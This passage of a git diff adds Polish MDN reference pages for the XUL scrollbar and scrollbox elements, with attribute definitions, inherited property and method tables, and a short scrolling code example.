<code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody</h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/scrollbar/index.html b/files/pl/mozilla/tech/xul/scrollbar/index.html
new file mode 100644
index 0000000000..239e1dcf47
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/scrollbar/index.html
@@ -0,0 +1,85 @@
+---
+title: scrollbar
+slug: Mozilla/Tech/XUL/scrollbar
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/scrollbar
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kiedy zawartość kontenera jest większa od rozmiaru w kontenerze, paski przesuwania mogą być umieszczone na krawędzi kontenera aby pozwolić użytkownikowi zobaczyć resztę zawartości. Paski przewijania mogą również być użyte niezależnie, kiedy wartość numeryczna lub procentowa musi być podana przez użytkownika. Użytkownik może zmieniać pozycję paska przewijania poprzez klikanie strzałek na jego końcach lub przesuwając suwak paska.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Paski_przewijania">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-curpos">curpos</a>, <a href="#a-increment">increment</a>, <a href="#a-maxpos">maxpos</a>, <a href="#a-pageincrement">pageincrement</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre class="eval">&lt;scrollbar curpos="5" maxpos="50"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-curpos">
+
+<dl><dt> <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Aktualna pozycja paska przewijania (<code><a href="/pl/docs/Mozilla/Tech/XUL/scrollbar" title="scrollbar">scrollbar</a></code>), która posiada zakres od 0 do wartości atrybutu <code id="a-maxpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxpos">maxpos</a></code>. Domyślną wartością jest 0.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-increment">
+
+<dl>
+ <dt>
+ <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Wynosi tyle co wartość atrybutu <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code>&lt;magic name="\"PAGENAME\"/"&gt; (dla pasków przewijania) lub <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code> (dla pudełek liczbowych)&lt;/magic&gt; zmienionego, gdy strzałka na pasku przewijania jest naciśnięta. Domyślnie posiada wartość równą 1.</dd>
+</dl>
+</div>
+<div id="a-maxpos">
+
+<dl><dt> <code id="a-maxpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxpos">maxpos</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Maksymalna pozycja elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/scrollbar" title="scrollbar">scrollbar</a></code></code>. Domyślną wartością jest 100.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-pageincrement">
+
+<dl><dt> <code id="a-pageincrement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageincrement">pageincrement</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Wynosi tyle co wartość atrybutu <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code> zmienionego, gdy powierzchnia paska przewijania jest kliknięta. Powierzchnia jest obszarem, w którym przytrzymany kursorem pasek przewijania jest przesuwany. Domyślną wartością jest 10.
+</dd></dl>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/scrollbox/index.html b/files/pl/mozilla/tech/xul/scrollbox/index.html
new file mode 100644
index 0000000000..e5407a5ece
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/scrollbox/index.html
@@ -0,0 +1,105 @@
+---
+title: scrollbox
+slug: Mozilla/Tech/XUL/scrollbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/scrollbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pudełko posiada dodatkowe funkcje, które możemy zastosować do przewijania treści. Zauważ, że element <code>scrollbox</code> nie powoduje wyświetlenia pasków przewijania. Jest stosowany, kiedy aplikacja sama dostosowuje przewijanie. Jeżeli chcesz po prostu wyświetlić paski przewijania, dodaj <code>style='overflow: auto;'</code>. Możemy także zastosować go z innymi kontenerami elementu.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h4 id="Przewijanie_elementu_potomnego_do_podgl.C4.85du" name="Przewijanie_elementu_potomnego_do_podgl.C4.85du"> Przewijanie elementu potomnego do podglądu </h4>
+<p>Spójrz na metodę <code>scrollIntoView()</code>? Nie istnieje w adresach URL. Zrób tak, zamiast:
+<code>
+</code></p>
+<pre class="eval"> var xpcomInterface = <i>scrollbox_element</i>.boxObject.QueryInterface(
+ Components.interfaces.nsIScrollBoxObject);
+ xpcomInterface.ensureElementIsVisible(<i>child_element_to_make_visible</i>);
+</pre>
+<p>
+</p><p>Zobacz <code><a class="external" href="http://lxr.mozilla.org/seamonkey/find?string=nsiscrollboxobject">nsIScrollBoxObject</a>&lt;code&gt; API dla innych metod podobnych do scroll.
+</code></p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
